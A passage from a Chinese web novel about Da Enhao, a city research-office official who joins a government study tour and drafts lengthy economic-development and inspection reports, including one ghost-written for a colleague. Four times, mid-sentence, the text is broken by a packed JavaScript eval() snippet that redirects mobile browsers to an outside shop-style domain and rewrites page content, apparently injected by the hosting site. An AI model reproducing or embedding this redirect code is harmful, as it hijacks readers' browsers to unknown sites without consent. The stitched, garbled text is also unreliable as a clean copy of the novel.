4、沿滨河——北大川……西北向经济带。加快滨河空港循环经济产业园、北大川农业综合产业区建设。发展循环经济、生态林业、高效农业，建设绿色经济长廊。积极争取在北大川空港环经济产业园建立集出口加工、保税储运、商品展示、贸易服务等功能的综合保税区，按照国际惯例实行集中统一封闭性管理，吸引国内外大公司或企业集团设立出口创汇企业，发展国际服务贸易。 5、沿滨河……高速公路南向经济带。发展反季节精细蔬菜、优质马铃薯、冷凉型花卉、特种水产养殖、畜牧养殖等生产经营，培育大型高原冷凉性花卉、蔬菜、水产、农畜产品生产加工基地。 （三）与周边州市共建都市经济圈城市群 与“一小时”都市经济圈内兄弟州市共同联手依托日渐完善的交通网络，资源优势和特色产业，通过更紧密的交通通联系、市场交换和产业关联，加快区域内经济社会全方位融合与渗透，共同构建沿高速公路延绵经济带和城市群，优化城镇网络体系。共同更加紧密有效地进行产业垂直分工与产业水平分工合作，共同打造相互关联的产业发展格局和经济技术合作交流机制，实现优势互补，资源共享，促进区域内要素优化组合，自由流动。 共同合作形成统一的农产品“绿色通道”，统一的旅游合作网，统一的物流合作网，统一的劳务输出合作网。共同联手结合各自资源、产业及市场状况，细分工、强协作，寻求多方合作的最佳结合点，在沿高速公路干线重点地区建设若干个工业区和农产品加工储运区，使滨河大市场资金流、技术流、人才流、信息流的辐射作用首先在这里体现，并以此为基点扩散到整个区域，联手面向大市场参与竞争，实现互利共赢。 五、请求省上支持构建滨河都市经济圈的建议 （一）建立省级协调机构 成立省级滨河都市经济圈协调机构，统筹都市经济圈跨州市的区划调整、产业布局、土地利用、基础设施、生态环境、交通互联互通、资金融通、体制机制改革等重大事项。 （二）对滨河对外大交通、管道运输及物流园等基础设施建设给予支持 加快北大川机场改扩建，……铁路电气化改造、滨河铁路货物运输枢纽站、铁路枢纽集装箱节点站、西部成品油管道工程、滨河……天然气管道工程建设，争取建设滨河……客运专线。建设南山过境公路、青藏物流园。 （三）对滨河近期重点开发区域基础建设给予支持 １、……新城区建设。尽快批准新城区规划，以便按计划实施，在基础设施建设、重大项目布局等方面给予倾斜。 ２、槐间盆地、北大川盆地规划建设。把槐间盆地和北大川盆地的建设纳入全省城镇体系建设规划，在土地储备、农用地转用计划、公共基础设施建设等方面给予重点安排。 （四）资金支持 １、国家政策性银行贷款、国际金融机构和外国政府优惠贷款对滨河基础设施建设给予倾斜，扩大贷款规模，延长贷款期限。 ２、对西部大开发以来滨河市用于道路、桥梁、水利等纯公共产品建设的地方转贷资金（国债）予以豁免。 ３、支持滨河有条件的企业上市，发挥上市企业的融资功能。” 第二天，达恩豪正坐在电脑前写材料时，办公桌上的电话铃声响了，接起一听，是金学盛主任打来的，让他过去一下。 “达处长，最近沈书记大调研活动要到外地调研，市级领导带队，要求我们研究室抽人随团调研，主要任务是回来按时拿出考察报告。我想叫你也参加上一个团，你去不去？” “去呀！考察报告我写！”达恩豪立刻就意识到这是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596907|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次在市级领导们面前展示自己的一个良机，就很痛快地答应了金主任的提意，明确表示，肯定地这样回答道，样是个干活，那儿不是个干呢。 “市人大主任带队的考察团给你报上，到时候你跟上去。”金学盛早就计划好了，肯下苦干活的只有达恩豪和几个年轻人，臭嘴鲁希雷，大腮帮子眼镜巴其平，还有其他一些同事肯定是嫌带写材料的任务，所以不去，除非年轻人，或者像达恩谊这样缺心眼的人。 “谢谢金主任！”达恩豪无论如何也得领面前领导这个情，怎么说还征求走个过场，卖个人情给他不说，若是其他市级领导看上他点他名要他跟团写材料的话，面前人就是不想用他也照办了，别人的话没有听，此事必竟利大于敝，好事一桩了，就这样爽快地答应金学盛道。 达恩豪出了金学盛的办公室，一边往经济发展研究处走，一边心里想：跟团外出，到市外省外调研，除了要拿材料是个苦差事，再其他都是好事，有外省市对口部门的接待和工作指引，有人恭迎送往，给你提前订住宿宾馆酒店，接机送机，招集相关部门的领导和搞调研写材料专业人员开会座谈，引你参观考察选点企业单位的情况，给你递上介绍的相关材料，这一点对于写材料的人来说尤其重要，掌握第一手资料和数据等情况，便于写考察报告的材料，为课题报告撰写提供很好的素材。想到这里，达恩豪脸上露出了笑容，脚下生风，已到自己办公室里，坐回了自己的靠背椅上。 过两天，上午，达恩豪在单位上班，市人大办公厅打来电话，通知他下午到市人大开会。达恩豪一想，肯定就是大调研外出学习参观考察的事，抽调他参加主要是编写本次本团的考察报告材料。 “各位领导，根据市委和沈书记要求部署，我们今天滨河市党政第二代表团赴外学习参观考察组就算正式组建成立了，现在召开第一次会议，也是出发前的预备会议……我们这次参加赴外学习参观考察的正式成员14名，其中包括两名工勤（司机），由我任团长，市委常委组织部长常吉乾，市政府副市长陶才生为副团长，成员由市人大副秘书长贺飞仁，兼任考察团秘书长……市政府研究室经济发展研究处副处长达恩豪……学习参观考察主要内容是，城市经济一体化，城市建设，优化发展环境……小达我意思是你把考察报告给我们写上，你看好不好？” “好的，柯主任。”达恩豪一愣神后，这样微笑着频频点头回答滨河市人大主任柯贤益道。正地级领导这么大的官儿都发话了，况且是在全体本考察团成员面前提出来，既然想好了，又大厅广众之下提出来，绝对不能折了领导的面子，我那能不答应呢。另一方面，这么艰巨光荣的任务，让我干，也是领导对我的器重不是。除了两个司机，我不是年龄最小的，但我是除了司机和副市长秘书，市接待办等个别人外，是职务最低的一个干部，我不写，谁写！？ 74. 第 74 章 第七十四章用力过猛 达恩豪干工作，搞调研，写材料，经常是用力过猛，有些过犹太不及了。总认为这样做只有好处没有坏处，以为笨鸟先飞没有错，有备无患吗。 达恩豪特别重视这次调研，尤其是写好这次考察报告。根据本次滨河市党政第二代表团刚开的会议精神，以确定的学习参观考察城市为对象，上网查资料，加班加点，费了些神思，在本次调研出发前，提前弄了个资料稿性质的调研考察报告，共写了17页，约8500多字，清楚记得，具体内容如下： “赴亚心等八城市学习考察报告 ……滨河市委： 根据市委的安排部署，由市□□会牵头的……市党政学习考察团一行十四人，于今年八月底至九月上旬，前往西疆省亚心、火风、剑犁、庭池，以及我省莫高、东风、大佛和镍城等八市（州），通过参观、座谈、实地走访，学习考察城市经济一体化、城市建设和优化发展环境等方面的经验，开阔视野，以资借鉴，为加快我市经济建设服务，我们深受启发，此行收获不小。 一、概况与感受 亚心市是我国西部边陲西疆省的首府，地处亚洲大陆地理中心。在历史上是古“丝绸之路”的重要枢纽，东西方文化的交汇地。这里历史沿革源远流长，自然资源储量丰富，商贸旅游独具特色，民族风情多姿多彩，近年坚定不移的推进“亚心之都、国际都市、商贸名城、宜居城市”的建设步伐，成为我国西部一座极富魅力的新兴城市…… 火风山市在西疆省和火风盆地的中部，俗有“火州”和“风库”之称，盛产白葡萄、长绒棉和哈密瓜，素有瓜果之乡、葡萄城等美誉，石油、天然气、煤炭、原盐等矿产资源丰富，充满神奇色彩的火焰山，世界第二洼地……湖，风景秀丽迷人的国家AAAA级景区葡萄沟，“人工地下河流”坎儿井……故城等，独特的自然条件和悠久的历史，形成奇特多样的自然和人文旅游资源。火风市坚持“以葡萄为支柱，加强和优化第一产业；以石油、天然气为龙头，加快矿业开发和农产品加工步伐，壮大提升第二产业；以旅游产业为主导，大力发展第三产业”的经济发展方针，农业形成以葡萄、瓜果、蔬菜、畜牧四大主导产业，葡萄、哈密瓜获得了国家农业部“无公害农产品”认证和原产地保护认证，工业体系日趋完善，形成石油、无机化工、煤炭、建材、棉纺、再生胶、塑料、印刷、冶炼、食品加工等30个行业，产品400余种。火风市先后荣获中国优秀旅游城市、全国双拥模范城市、新疆红旗卫生城市称号…… 剑犁市是西疆省的直辖市，也是国家最早对外开放的城市之一。这座被中央绿化委员会评为公园城、生态城的绿洲新城，绿化覆盖率达42%，居全国城市领先地位……因军垦而生、缘农垦而兴的剑犁，业已成为一个以大农业为基础、轻工业为主体，工农结合，农工商贸综合经营、科教文卫体协调发展的新型绿洲…… 庭池州史称“庭州”，地处边疆……山北麓……盆地东南缘，东北与……国交界，是古代“丝绸之路”新北道通往中亚、欧洲诸国的必经之路，自古为西域咽喉、北疆屏障，素有“门牌要冲、黄金通衢”之美誉。坚定不移地实施优势资源转换战略、工业强州战略、科教兴州和人才强州战略、城市群战略以及可持续发展战略，大力推进改革开放和现代化建设，庭池州经济社会发展取得新的成就。国民经济快速发展，综合经济实力持续增强……工业上形成了煤电煤化工、石油石化、有色金属冶炼、纺织、机电制造和新型建材、农畜产品精深加工“六大优势支柱产业”……农业上形成了粮食、棉花、畜产品、制种、制酱番茄、酿酒葡萄、菌草等12个优势产业区、产业群、产业带，培育了166家农业产业化龙头企业，80%的农作物实现订单生产，农机总动力和装备水平居全疆首位，涌出出了一批具有引领作用的新农村建设明星镇、小康村。以旅游为龙头的第三产业蓬勃发展，庭池晋级“全国首批5A景区”，进入“全国优秀旅游城市”行列，荣获“全国民族小吃之乡”、“西疆名吃之乡”、“西疆休闲之都”称号。 莫高市位于河陇省河祁走廊最西端，地处河陇、江源、西疆三省交汇处，被沙漠戈壁包围，故有“戈壁绿洲”之称。旅游资源得天独厚。莫高历史悠久，文化灿烂，地上、地下文物达存十分丰富。现在境内共有各文物点241处。其中，被列为国家级重点文物保护单位3处，省级文物保护单位8处，市级文物保护单位47处。敦莫窟绵延492个洞窟，保存了……45000平方米瑰丽多彩的壁画和3390余身精美绝伦的彩塑，构成世界上最为壮丽的立体画廊，被联合国科教文组织命名为世界文化遗产；国家级风景名胜区……山……泉被列为全国旅游名胜四十佳之一……大自然鬼斧神雕的雅丹地貌国家地质公园，又是一幅雄浑壮阔、维妙维肖的艺术世界，让人浮想联翩。众多绝无仅有的人文景观和自然奇观，吸引着无数中外游客前来寻秘探幽，观光揽胜。莫高市以“建成宽裕小康市，建设国际旅游城”为目标，以资源为依托，以结构调整为主线，以项目建设为支撑，积极抢抓西部大开发的历史机遇，加大工作力度，大力实施“旅游立市”战略，经济结构调整取得了突破性的进展，初步形成了具有莫高特色的产业优势。旅游业蓬勃发展。加大投资力度，重点实施了“一山、一泉、一路、四园、四馆”等16个旅游景点开发建设项目……农业产业化基地建设进程加快，按照“区域化布局、规模化经营、专业化生产、科学化管理”的原则，以市场需求为导向，突出棉花、林果、蔬菜、畜牧养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14599666|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殖四大主导产业基地建设，有力地推进了农业产业化进程。地方工业逐步壮大，全市工业以深化企业改革为动力，以资源开发为基础，围绕市场需求，调整优化企业组织结构和产业产品结构，先后开发完成的工艺骆驼、莫高彩塑、土特食品、文物复制等一批旅游产品，以其精美的工艺、鲜明的特色畅销海内外，旅游产品年销售额占全社会消费品零售总额的20％，全市已初步形成了以旅游工艺品加工、农副产品加工、矿产品开采冶炼、轻纺和化工、建筑建材等五个工业体系。商贸流通繁荣兴旺，形成了以批发市场为中心，以零售网点为脉络，各类经销组织为补充的商贸流通体系，成为江源、西疆两省区重要的瓜果蔬菜批发基地和物资集散地…… 东风市位于河陇省河祁走廊西端……这里是古丝绸之路黄金地段的一颗璀璨明珠，是一片充满神奇魅力和无限生机的热土。丰饶富庶、开发便利的水利的水土资源，总耕地面积226万亩，森林81万亩，草原6689万亩，还有宜农宜林荒地478万亩。全区已建成全国、全省商品粮棉基地、瓜果蔬菜基地和畜牧业基地。这里还是全国重要的玉米繁种基地，是全国三大对外瓜菜制种基地中最具优势的地区之一。得天独厚、储量丰富的矿产资源，钨矿储量居亚洲第一，铬矿储量居全国第三，黄金开采量居河陇省首位，石棉储量居全国第三，菱镁储量居河陇省第一。石油资源也十分丰富，是全国最早开发的石油工业基地。绚丽多姿、闻名遐迩的旅游资源。全区境内遗存着大量独具魅力的历史文化胜迹。已查明的文物景点有1153个，举世闻名的……别具一格的民谷游、庙会、狩猎等旅游项目，吸引着海内外旅游观光者，是古丝绸之路上旅游黄金地段…… 大佛市位于河陇省河祁走廊中部……是丝绸古道之重镇，西北交通之咽喉。自然景色宜人，生产条件优越，是河陇省商品粮、商品瓜果蔬菜生产基地。全区总面积4．2万平方公里，辖……6个县（区），126万人，其中农业人口100万。有汉、回、裕固、藏等26个民族。2007年地区生产总值达到146.23亿元，社会消费品零售总额39.6亿元，全社会固定资产投资总额70.68亿元，财政收入10.59亿元，城镇居民人均可支配收入8595元，农民人均纯收入达4137元。 镍城市地处河祁走廊东部……西南与江源省搭界……距省会滨河306公里（直线）。土地总面积9593平方公里。全面实施“工业强市、以工促农、以二带三、和谐共享”战略，全市经济呈现出发展速度快、经济效益好、产业结构均衡发展的新格局，经济总量由2006年全省第七位跃居至第二位，投资与消费、资源与环境、经济发展的速度与质量、社会发展与民生改善均呈现出和谐共赢、均衡发展的态势…… 75. 第 75 章 第七十五章打底材料 我们学习考察中有以下几点很深的感受： （一）城市发展加快 我们学习考察的这几个城市近年来，抓住国家西部大开发的机遇，快速发展，竞相争先，加快发展的气息更加浓厚，加快发展的压力大动力更大，带来了城市面貌发生深刻的变化，城市风格独具特色，城市建设更加注重科学规划，尊重城市的人文历史和民族风情特色，优化城市功能布局，城市建设投资不断加大，建设规模不断扩大，城市规划、建设和经营管理的水平进一步提高，每个城市都各具韵味，个性显明，张显出独特的城市魅力。 （二）经济活力增强 我们学习考察的这几个城市，近几年来经济发展迅速，城市经济实力不断增强，亚心市在有些方面已超过了滨河，在我国西北边贸上已形成了我国打通西亚诸国的国际商贸中心，对外贸易十分活跃，石油、天然气、棉花、葡萄等产业和产品的发展迅速，亚心、莫高、庭池等城市的文化旅游产业发展较快，立足本地的资源优势，开发独具特色的地方经济，经济布局和产业结构不断优化，增强了区域经济发展的活力和市场竞争力。 （三）城市更加开放 我们学习考察的这几个城市，解放思想，更新观念，不断扩大对内对外开放开发，以更加斩新的面貌，更加开放的姿态，更加优惠的政策，打开城门，笑迎八方宾客，不断加大招商引资力度，积极承接东中部地区产业的转移，大力开发本地资源，嫁接改造传统民族产业，城市的人流、物流、车流、资金流、信息流更加活跃，国内境外的游客越来越多，内资外资投资者不断增加，经济的外向度不断提高，城市的开放程度逾来逾高，开放型服务型经济份额逐渐增大。 （四）区域合作加强 我们学习考察所到的城市，都在区域经济合作上提出了很多好的规划和设想，并在实际工作身体力行的加以实施，发展已不再是一城一市一家的愿望，互利共赢已成大家共同的追求所在，联手发展区域经济，重新优化调整经济布局和产业结构，协调区域产业分工协作，避免区域产业趋同和重复建设，尽量减少和降低经济发展的成本，促进区域经济一体化发展，不断提高区域产业经济的集聚度，提高城市经济的效益和实力。 （五）发展环境改善 我们学习考察所到的城市，积极为城市经济的发展服务，均出台和实施了一系列促进经济发展的政策措施，特别是尽力增加财政投资，尽其所能改善城市经济社会发展的环境条件，一方面加强城市硬件建设，倾力改善城市基础设施条件，加快市政设施、道路、电力、通讯、供水等公共设施建设步伐，不断提高城市基础设施为经济发展服务的水平，另一方面大力加强城市经济发展的软件建设，从宣传教育入手，大力改善投资金环境，实施更加优惠的经济发展和招商引资政策措施，为城市经济和区域经济发展营造着更加优越的发展环境。 二、经验与亮点 （一）城市建设的民族地域特色鲜明 亚心市、火风市、庭池州等我们此次学习考察的几个城市，是少数民族集聚的城市，在城市建设上具有明显的民族地域特色，这是加快民族地区城市建设的最佳实现途径……独特的民族风情与现代化的建筑有机的融为一体，既传承和保留了城市的民族文化历史，又为城市经济注入了发展的活力，文化旅游业的资源优势充分得以开发，与现代城市文明和工业文明交相辉映，轻工业、特色农业和草原畜牧业也得到了快速发展。剑犁市的农垦经济、石化工业和轻工业为主的城市经济，是一座开放型绿洲新城。 （二）民族经济和地区优势产业发展较快 亚心市、火风市、庭池州等少数民族集聚的城市，经过市场经济选择和国家政策的扶持，形成了独具特色的民族经济支柱产业，国家和自治区各级党委政府，通过政策引导和资金扶持，开发当地的资源，培育建设石油化工产业、轻工业、文化旅游产业、特色农业和草原畜牧业，石油和天然气开采加工、民族服饰、民族食品、民族旅游产品贸易等产业加快发展，支撑起城市经济发展的骨干。 （三）依托边疆口岸外贸经济发展加快 西疆省地处我国西北边陲，随着国家改革开放的步伐加快，西疆口岸增加，公路、铁路、仓储等基础设施不断得到改善，西疆亚心、火风、庭池等城市，与西亚和西疆周边的国家进出口贸易越来越频繁，对外商品贸易和旅游业加快发展，民族服饰物流、民族食品加工外贸、棉纺织品原料出口、民族旅游产品贸易、民族医药等产业的快速发展，促进了区域和国家外贸经济的发展。 （四）特色文化旅游业形成经济支柱…… （五）优越的招商引资政策促进产业转移承接…… 三、启示与建议 几点启示： （一）因地制宜是加快城市经济发展的基础…… （二）科学规划是张现城市独特魅力的根本…… （三）挖掘区域资源是培育壮大支柱优势产业战略选择…… （四）扩大开放开发是加快区域经济一体化的前提条件…… （五）政策措施是加快城市经济发展的制度保障…… 主要建议： （一）加快建设滨河区域性现代化中心城市 发挥好省会城市的“五个作用”…… 一是搞好城市规划。第四版城市规划编修…… 二是城市发展定位。区域性现代化中心城市…… 三是城市发展目标。“十一五”规划…… 四是打造都市经济圈…… 五是有效的经营和管理城市…… （二）依托重化工业优势推进工业强市战略 一是培育壮大优势行业和产业。突出材料工业、装备制造业和食品医药三大板块…… 二是做大做强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612009|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特色产业。石油化工、通用机械制造、有色冶金、农产品加工、生物医药、能源电力…… 三是积极发展新型战略产业。计算机及软件产业、汽车工业、环保产业等…… 四是促进产业集群发展。构建滨河高新技术开发区、经济技术开发区、……石化科技园等十个产业集聚区…… 五是以发展循环经济为龙头促进可持续发展…… （三）调整优化产业结构向服务型城市经济转变 第三产业增加值占GDP的比重逐年提高，到现在已形成了GDP半壁江山之势。三次产业间结构发生了由量变到质变的深刻变化，经济发展格局已由“二、三、一”的顺序，转变为第三产业与第二产业并驾齐驱，并正在进入第三产业领跑GDP的“三、二、一”产业发展阶段。 首先，选准重点发展领域，精心培育龙头产业。依托滨河比较优势和后发优势，以区域省际物流作为发展定位，以区域国际物流作为发展目标，以配送物流作为支撑平台，坚持现代仓储、配送加工、多式联运、商品批发展示和信息服务“五位一体”的功能定位，建成集货站、货场、仓储、转运站等设施于一体的仓储中心、采购中心、配送中心和信息网络中心等“四大类”物流中心区。形成国际物流的集散、分拨、配送体系；形成商贸结合的市场交贸体系和工贸一体的进出口加工体系。最终把滨河建设成为现代化、综合型、多功能的集人流、物流、商流、资金流、信息流于一体的，以服装服饰、高原夏菜、医药食品、家具家电等生活资料消费品，以及冶金、建材、石化机械、汽车等生产资料为主，服务于省际大区域，辐射全国的物流中心，并逐步发展成为……延伸到西亚、西南亚的……洋和……湾次大陆诸国，横跨两大洲，连通两大洋的国际型物流中心。大力开发新型产业，如电子商务、第三方和第四方物流业等。大力发展第三方物流和第四方物流业，建设物流信息系统，加快与外省的信息网络接轨。进一步发展金融、证券、保险等现代金融业，做大做强现代旅游业、文化产业，积极发展中介、咨询、培训等产业，加快发展城乡生活服务业。在新兴产业中培育龙头行业和产业集群。大力推进农村第三产业的发展。随着农村第三产业专业化、市场化、社会化能力的不断增强，农村第三产业在经济中的比重不断增大，农村第三产业将在农村经济中发挥的支柱产业和支撑作用越来越突出。今后通过政府将强力推进“万村千乡”市场工程，以农村乡镇物流基地（中心）为骨干，村级小超市为基础的新型农村第三产业体系正在大力建设之中，农村工业消费物流、农产品流通、农业生产资料流通“三大市场体系”将“多网合一”、“一网多用”，连锁经营、物流配送、“放心店”等新型第三产业长足进入农村，农村生活服务业、农村中介服务业、以及农村专业合作经济组织和各种协会都将逐渐兴起，农村第三产业将是依靠内需拉动经济发展的新热点、新增长点和新亮点。 76. 第 76 章 第七十六章淡漠机遇 其次，做大做强战略产业，形成辐射带动作用。发展金融服务业。金融服务业是经济发展的先导、产业发展的重要支撑，属经济发展的战略性产业，对其他产业具有强大的辐射作用。滨河金融服务业已具备有一定的规模，证券业正逐步成为企业融资的主渠道，保险业也得到进一步的发展。但并没有成为真正的战略产业，对其他产业的发展并没有形成强烈的辐射带动作用。因此，必须优化资本资源配置机制，活跃资本市场、证券市场和保险市场。提高服务质量，完善投融资、担保、社会保障、信用监督体系。开放滨河金融市场，吸引各类金融、保险机构在滨河设立分支机构或办事处，促进区域性金融中心的形成。改造提升交通运输仓储业。青藏铁路已经为滨河带来重大发展机遇，同时随着……铁路……铁路开工建设，北大川机场不断改造升级向国际化机场迈进，国家和各级政府对农村公路运输投资建设力度不断加大。抓住这一历史性机遇，强化滨河交通运输仓储业的基础设施建设和物质装备力量，提高滨河城市综合运输能力，形成滨河区域性中心城市辐射带动作用，促进物流业和客运业的迅速发展。做大做强旅游业，形成带动其他产业的辐射源。实施旅游业的政府主导战略，大力发展大旅游业，建立健全大旅游产业体系，使旅游经济增长速度高于全市国民经济平均增长速度，年均增速要超过30%，逐渐成为我市经济支柱产业，对其他产业产生强烈的辐射带动作用。政府要逐年重新进行我市旅游发展规划，加大重点项目开发、景点景区基础设施建设，下大力宣传推介促销，加大政策资金扶持力度，树立“黄河之都、山水名城”的城市旅游形象。精心打造百里黄河风情为龙头的城市中心旅游区……要充分利用滨河的优势，开发工业旅游项目，发展都市现代观光农业和休闲度假农业，拓宽旅游业发展渠道。 （四）加快招商引资促进开放型经济发展 一是把招商引资与承接产业转移相结合…… 二是提高招商引资的方式和水平…… 三是大力发展对外贸易…… 四是加强国际经济合作…… （五）实施项目带动战略打造经济增长高地 一是完善项目库建设…… 二是加强项目建设…… 三是加大项目开发力度…… （六）加强区域经济合作交流着力建设路桥经济带 加快我市与边疆、河祁地区经济对接，加强区域经济合作交流与发展，培育壮大新丝绸之路和新亚欧大陆桥经济带。 一是加强区域生态环境修复与建设…… 二是加强区域旅游业的合作开发…… 三是加强区域风电太阳能新型可能源产业的联合开发…… 四是加强区域民族经济的合作开发…… 五是加强区域物流业的合作开发…… （七）围绕服务城市经济发展转变政府职能 一是深化政府机构改革…… 二是加快行政审批制度改革…… 三是加快建设服务型、公共型、法制政府建设…… （八）加快社会事业建设保障城市经济又快又好发展 一是培育壮大文化产业…… 二是加快科技事业的发展…… 三是建立健全劳动就业和社会保障体系……” 8月30日早上，滨河市第二党政代表团，一行14人，从滨河市委三大家大院出发了，自带车辆，自备交通工具。一辆十几座的中巴面包车，一辆七座商务车。中巴车坐了12个人，除了机司机11个人，商务车只坐了2个人，不算机司就一个人。 领导们全坐在中巴车上，达恩豪也跟着坐在中巴车上。苦乐不均，中巴车人满为患，有些太挤了，商务车却很冷清，只有两个人。车行了半天，大约到了河祁走廊入口处的镍城市地界上，我们调整了坐位，本来陶才仁副市长的专职秘书要到商务车上去，达恩豪自高奋勇顶替坐到了商务车上，说是为了方便陶副市长与自己的秘书坐一车上好联系。 第二天，出了河祁走廊，是两省交界的地方。出省了，就进入了西疆省地界。常吉乾部长把自己随身携带的一小挎包，交给达恩豪保管拿着，晚上住店时，同行的滨河市城建局副局长黄惠吉找他，对达恩豪要常吉乾的小黑挎包，他要给常部长背包服务，达恩豪就不假思索地递给了黄惠吉。 黄惠吉和达恩豪同龄的男同志，或者大一半岁，之前在向上县上当过副县长，高个头有一米七五以上，中等身材，不胖不瘦，脸色皮肤微稍有点黑，短发平头，一看就是个仕途老手，精明能干的人。 当时，他给包了时候，黄惠吉悄悄给达恩豪手里塞给了一条软中华香烟，算是对达恩豪的补偿。其实，就这一条软中华烟，无意之中，也许就把达恩豪命中的青云这路，给拦腰斩断了，也说不定。 人生，在关键的时刻，往往就只有一两步路，让你抉择，错了只能抱狠终身，命运如此，选择正确了，前途无量，一片光明！ 达恩豪四十多岁，早对职场上的争斗厌恶了，憎恨了，也更加地胆怯了，早就不抱多大的希望了，对于眼前别人看好的机会，天赐良机，千载难逢，百年一遇，并不想抓，任其付之东流，或者让给别人算了吧。 再说了，黄惠吉也是达恩豪这次外出调研，在代表团里关系最好的三个人，自认为是“三剑客”：达恩豪，黄惠吉，屠宁辉。外加一个兰原老乡黄如言，关系也不错。 屠宁辉，也和他岁数相当的中年男人，现任滨河市交通局副局长，兼城市运输管理处处长，听说权力很大的，又说此人与一位省人大副主任过从甚密，关系不一般，好像拜给成了干儿子。中等身材，有些胖。达恩豪先向黄惠吉开玩笑求请解决老婆的工作被拒后，就对屠宁辉开玩笑说，屠局长帮个忙，把老婆的工作给解决一下。屠宁辉很爽快地答应了，说这次调研回去，达恩豪就成我们单位的职工家属了。 黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625114|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如言，比达恩豪，黄惠吉，屠宁辉大个十多岁，和“三剑客”都有代沟了。现任滨河市商务局副局长，老家在兰原县靠省城滨河的一个乡镇的村子，所以，和达恩豪以老乡相称，和“三剑客”都关系不错。 无论是外出点上参观，还是开会，还是在宾馆酒店房间聊天闲扯，达恩豪，黄惠吉，屠宁辉，三个人都经常粘在一块儿，成了“铁三角”，“三人帮”。 这次外出考察学习，是达恩豪截止目前参加过的调研考察规格最高的一次。达恩豪享受了住单人房间的待遇，不存在两个人住一标准间，晚上被互相打呼噜睡不着睡的情况。住宿的房间里，每个城市都给他们桌上放了果盘，有地方特色水果，葡萄，苹果，鲜枣，炒碗豆，香蕉，桔子，甚至还上了黑金刚精装香烟。 更有甚者，镍城市最为热情好客，当我们代表团一行到达镍城市时，他们专门组织欢迎的盛大仪式，彩旗招展，鞭炮共鸣，军乐队敲锣打鼓，领导和群众夹道欢迎达恩豪们一行走进政府大院。从来没有受到这样的厚待，感动的达恩豪热泪盈眶！ 每个城市都是主要领导出面，书记，市长，人大主任，□□，设宴为代表团一行接风洗尘，端上丰盛知名的地方特色美味佳肴。亚心市是西疆省省会城市，书记还兼任省人大副主任，也是非常重视，亲自宴请我们代表团，代表正巧赶上了，还有幸参加了西疆投资贸易洽谈会。 在返回省内途中，顺便参观考察了河祁走廊四城市，到河祁走廊最后一个了城市，镍城市参观考察完后，座谈会结束后，当时就召开了考察总结和材料安排会议。 “……刚才常部长和陶市长，以及大家都谈了很好的意见，也提出了考察报告提纲，我最后谈些本次考察的感受，谈些报告提纲意见……下面就请贺秘书长把关和小达具体操作，辛苦一下……”滨河市第二党政代表团团长，市□□会主任柯贤益，听大家谈感受，谈提纲，最后在会议上这样总结安排道。 “达处长，你先在这个办公室里上班，等把我们代表团的考察报告弄出来了，你再回市政府。以本次代表团调研的名义，你先发个通知，把各位代表这次调研的考察报告材料，写好后请于两天后交上来，你就不是有素材参考好写总考察报告材料了。”9月10日，代表团返回滨河市第二天，贺飞仁副秘书长受柯贤益主任的指示，让达恩豪先到市人大的办公楼上的一间办公室里办公几天，主要是编写考察报告，就领着达恩豪这样安排布置了一番，并交给他一把钥匙。 达恩豪一个人坐在一间办公室里，有两个人办公的房间里，伏案干活，一份领导安排的通知材料就起草出来了。拿去东面拐角处找贺飞仁副秘书长审定后打印下发，达恩豪不放心，又当场打电话通知了一遍。 “达处长，继续劳驾你，把我的考察报告代写一下。辛苦了，谢谢！”达恩豪正坐在市人大的一间办公室里，在电脑上编写本次考察报告。突然桌上的电话铃声响了，一接是黄惠吉打来的，这样对他央求道。 77. 第 77 章 第七十七章代劳材料 “好的。再见！”达恩豪一想，都拿了人家的一条软中华烟了，而且，黄惠吉儿子接黄惠吉时，还把达恩豪专门送回了家里，连带分给达恩豪的几件小礼品。达恩豪不假思考，这样爽快地回答道。 达恩豪又在这儿上班，花了两个小时，写了一篇本次考察报告，以黄惠吉市建委副主任的视角，微信发给了黄惠吉，黄惠吉微信回过来，又是点赞，又是谢谢的。他共写了8页，大约3700多字，他记得，这篇稿子的具体内容如下： “赴乌鲁木齐等八城市学习考察汇报 